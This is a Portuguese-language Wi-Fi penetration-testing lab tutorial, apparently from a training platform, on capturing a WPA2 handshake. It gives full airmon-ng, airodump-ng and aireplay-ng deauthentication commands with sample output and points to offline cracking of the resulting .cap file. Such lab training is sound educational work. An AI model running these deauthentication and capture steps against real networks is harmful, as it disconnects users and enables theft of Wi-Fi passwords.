Introdução
O handshake de quatro vias WPA/WPA2 é um componente crítico da segurança Wi-Fi moderna. É o processo pelo qual um cliente e um ponto de acesso (AP) provam que conhecem a chave pré-compartilhada (a senha do Wi-Fi) sem nunca transmiti-la diretamente. Capturar este handshake é o primeiro passo em um ataque de força bruta ou de dicionário para recuperar a senha do Wi-Fi.
Neste laboratório, você aprenderá a usar o poderoso conjunto de ferramentas Aircrack-ng para realizar esta captura. Usaremos airmon-ng para colocar sua placa sem fio em modo de monitoramento, airodump-ng para escanear e direcionar uma rede específica, e aireplay-ng para forçar um cliente a se reautenticar, gerando assim um handshake para capturarmos.
Este laboratório simula um cenário do mundo real. Você receberá uma interface sem fio wlan0 e uma rede alvo para praticar no ambiente do laboratório.
Colocar o Adaptador Wireless em Modo Monitor
Nesta etapa, prepararemos nosso adaptador wireless para capturar tráfego de rede. Por padrão, um adaptador wireless opera em "modo gerenciado" (managed mode), o que significa que ele presta atenção apenas ao tráfego destinado a ele. Para capturar todo o tráfego Wi-Fi no ar, precisamos alterná-lo para o "modo monitor" (monitor mode). Usaremos a ferramenta airmon-ng para isso.
Primeiro, vamos verificar o nome da nossa interface wireless. Abra um terminal e execute o comando iwconfig.
iwconfig
Você deverá ver uma interface listada, geralmente chamada wlan0.
lo no wireless extensions.
eth0 no wireless extensions.
wlan0 IEEE 802.11 ESSID:off/any
Mode:Managed Access Point: Not-Associated Tx-Power=20 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Encryption key:off
Power Management:on
Agora, use airmon-ng para iniciar o modo monitor na interface wlan0. Este comando pode encerrar alguns processos de rede que poderiam interferir na captura.
sudo airmon-ng start wlan0
A saída confirmará que o modo monitor foi ativado. Geralmente, ele cria uma nova interface virtual, frequentemente chamada wlan0mon, para monitoramento.
Found 2 processes that could cause trouble.
Kill them using 'airmon-ng check kill' before bringing up the interface in monitor mode.
PID Name
591 wpa_supplicant
668 dhclient
PHY Interface Driver Chipset
phy0 wlan0 ath9k Atheros Communications Inc. AR9271 802.11n
(mac80211 monitor mode vif enabled for [phy0]wlan0 on [phy0]wlan0mon)
(mac80211 station mode vif disabled for [phy0]wlan0)
Você pode verificar que a nova interface wlan0mon está em modo monitor executando iwconfig novamente.
iwconfig wlan0mon
A saída deverá mostrar Mode:Monitor.
wlan0mon IEEE 802.11 Mode:Monitor Frequency:2.457 GHz Tx-Power=20 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Power Management:off
Executar airodump-ng para Encontrar o BSSID e Canal do Alvo
Nesta etapa, usaremos airodump-ng para escanear as ondas de rádio e identificar nossa rede alvo. airodump-ng é uma ferramenta poderosa para capturar frames 802.11 e descobrir pontos de acesso e clientes conectados próximos.
Agora que nossa interface wlan0mon está em modo monitor, podemos iniciar a varredura. Execute o seguinte comando no seu terminal:
sudo airodump-ng wlan0mon
Seu terminal será preenchido com uma lista de todas as redes Wi-Fi que airodump-ng consegue detectar. A exibição é dividida em duas partes. A parte superior lista os Pontos de Acesso (APs), e a parte inferior lista os clientes conectados (Estações).
Vamos detalhar as colunas principais para os APs:
- BSSID: O endereço MAC do Ponto de Acesso. Este é o seu identificador de hardware único.
- CH: O canal em que a rede está operando.
- ESSID: O nome legível da rede Wi-Fi (por exemplo, "MinhaRedeWiFi").
Aqui está um exemplo do que você pode ver:
CH 6 ][ Elapsed: 3 s ][ 2023-10-27 10:30
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:11:22:33:44:55 -30 10 0 0 6 54e WPA2 CCMP PSK LabEx_WiFi
C8:D3:FF:A1:B2:C3 -65 8 0 0 1 54e WPA2 CCMP PSK AnotherWiFi
BSSID STATION PWR Rate Lost Frames Probe
Para este laboratório, nossa rede alvo é LabEx_WiFi. A partir da saída acima, identifique seu BSSID (00:11:22:33:44:55) e seu CH (6). Você precisará deles para a próxima etapa.
Assim que você anotar o BSSID e o canal, pressione Ctrl+C no terminal para parar o processo de varredura.
Executar airodump-ng com Foco no BSSID e Canal Específicos
Nesta etapa, focaremos nossa captura apenas na rede alvo. Executar uma varredura geral como fizemos na etapa anterior faz com que a placa wireless "salte de canal" (channel hop), o que significa que podemos perder o handshake quando ele ocorrer. Para garantir uma captura bem-sucedida, instruiremos o airodump-ng a se fixar no canal do nosso alvo e a escutar apenas o tráfego do seu BSSID.
Também usaremos a flag -w para gravar os pacotes capturados em um arquivo. Este arquivo é o que conterá o handshake.
Use o BSSID e o canal que você identificou na etapa anterior (00:11:22:33:44:55 e 6) para construir o seguinte comando. Nomearemos nosso arquivo de saída como handshake_capture.
sudo airodump-ng --bssid 00:11:22:33:44:55 -c 6 -w handshake_capture wlan0mon
Após executar este comando, a exibição do airodump-ng mudará. Agora, ele mostrará apenas informações para a rede LabEx_WiFi. Você também verá uma lista de quaisquer clientes (STATIONs) conectados a ela.
CH 6 ][ Elapsed: 10 s ][ 2023-10-27 10:32 ][ WPA handshake: ...
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:11:22:33:44:55 -32 100 25 10 1 6 54e WPA2 CCMP PSK LabEx_WiFi
BSSID STATION PWR Rate Lost Frames Probe
00:11:22:33:44:55 AA:BB:CC:DD:EE:FF -40 1- 1 0 15
Importante: Deixe este terminal em execução. Precisamos dele para continuar a captura. Para a próxima etapa, você deve abrir uma nova janela de terminal. Você pode fazer isso clicando novamente no ícone do terminal na dock de aplicativos do ambiente.
Usar aireplay-ng para Desautenticar um Cliente
Nesta etapa, forçaremos ativamente a ocorrência de um handshake. Um handshake só acontece quando um cliente se conecta ou reconecta a um ponto de acesso. Se um cliente já estiver conectado, podemos esperar que ele se desconecte naturalmente, mas isso pode levar muito tempo. Uma abordagem mais proativa é forçá-lo a se desconectar usando um "ataque de desautenticação".
Usaremos o aireplay-ng para enviar pacotes de desautenticação especialmente elaborados a um cliente, fazendo-o acreditar que foi desconectado pelo AP. O cliente tentará então se reconectar automaticamente, gerando o handshake WPA que nosso processo airodump-ng (executando no outro terminal) está esperando para capturar.
Olhe para a sua primeira janela de terminal (aquela que executa o airodump-ng direcionado). Na coluna STATION, você verá o endereço MAC de um cliente conectado. Para este laboratório, assumiremos que o endereço MAC do cliente é AA:BB:CC:DD:EE:FF.
Agora, na sua nova janela de terminal, execute o seguinte comando aireplay-ng.
--deauth 5: Isso envia 5 pacotes de desautenticação. Um pequeno "burst" geralmente é suficiente.-a 00:11:22:33:44:55: Este é o BSSID do nosso Ponto de Acesso alvo.-c AA:BB:CC:DD:EE:FF: Este é o endereço MAC do cliente que estamos visando.
sudo aireplay-ng --deauth 5 -a 00:11:22:33:44:55 -c AA:BB:CC:DD:EE:FF wlan0mon
Você verá a saída do aireplay-ng confirmando que ele está enviando os pacotes.
10:35:10 Waiting for beacon frame (BSSID: 00:11:22:33:44:55) on channel 6
10:35:11 Sending 64 directed DeAuths. STMAC: [AA:BB:CC:DD:EE:FF] [ 5|62 ACKs]
Agora, vamos verificar se nossa captura foi bem-sucedida.
Confirmar Captura do Handshake na Janela do airodump-ng
Nesta etapa final, confirmaremos que capturamos com sucesso o handshake WPA. O ataque de desautenticação que acabamos de realizar deve ter feito o cliente se reconectar, e o airodump-ng deve ter capturado o handshake resultante.
Mude seu foco de volta para a sua primeira janela de terminal, aquela onde o airodump-ng estava sendo executado e visando o LabEx_WiFi.
Olhe para o canto superior direito da exibição do airodump-ng. Se a captura foi bem-sucedida, você verá uma mensagem que diz [ WPA handshake: 00:11:22:33:44:55 ].
CH 6 ][ Elapsed: 45 s ][ 2023-10-27 10:35 ][ WPA handshake: 00:11:22:33:44:55
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:11:22:33:44:55 -32 100 80 115 8 6 54e WPA2 CCMP PSK LabEx_WiFi
BSSID STATION PWR Rate Lost Frames Probe
00:11:22:33:44:55 AA:BB:CC:DD:EE:FF -40 1-11 0 98
Ver esta mensagem é a sua confirmação! Você capturou com sucesso o handshake de quatro vias.
Agora você pode parar ambos os processos pressionando Ctrl+C em cada janela de terminal.
Os dados capturados, incluindo o handshake, foram salvos em arquivos no seu diretório atual. Você pode listá-los com o comando ls -l.
ls -l
Você deverá ver vários arquivos começando com handshake_capture, sendo o mais importante handshake_capture-01.cap.
-rw-r--r-- 1 root root 452 Oct 27 10:36 handshake_capture-01.cap
-rw-r--r-- 1 root root 1234 Oct 27 10:36 handshake_capture-01.csv
...
Este arquivo .cap é o prêmio. Ele contém o handshake e pode agora ser usado com ferramentas como aircrack-ng ou hashcat para tentativas de quebra de senha offline.
Resumo
Parabéns por completar este laboratório! Você executou com sucesso uma das técnicas fundamentais em testes de penetração Wi-Fi.
Neste laboratório, você aprendeu a:
- Colocar um adaptador sem fio em modo de monitoramento usando
airmon-ng. - Escanear redes sem fio próximas para identificar um alvo com
airodump-ng. - Focar o
airodump-ngem um BSSID e canal específicos para preparar uma captura direcionada, salvando os resultados em um arquivo. - Usar o
aireplay-ngpara realizar um ataque de desautenticação, forçando um cliente a se reconectar. - Confirmar a captura do handshake WPA na saída do
airodump-ng.
O arquivo .cap que você gerou contém os valiosos dados do handshake. O próximo passo lógico em um engajamento real seria usar este arquivo para tentar quebrar a senha do Wi-Fi, um tópico para outro laboratório. Agora você tem uma compreensão sólida do processo manual para capturar esta peça crítica de dados.
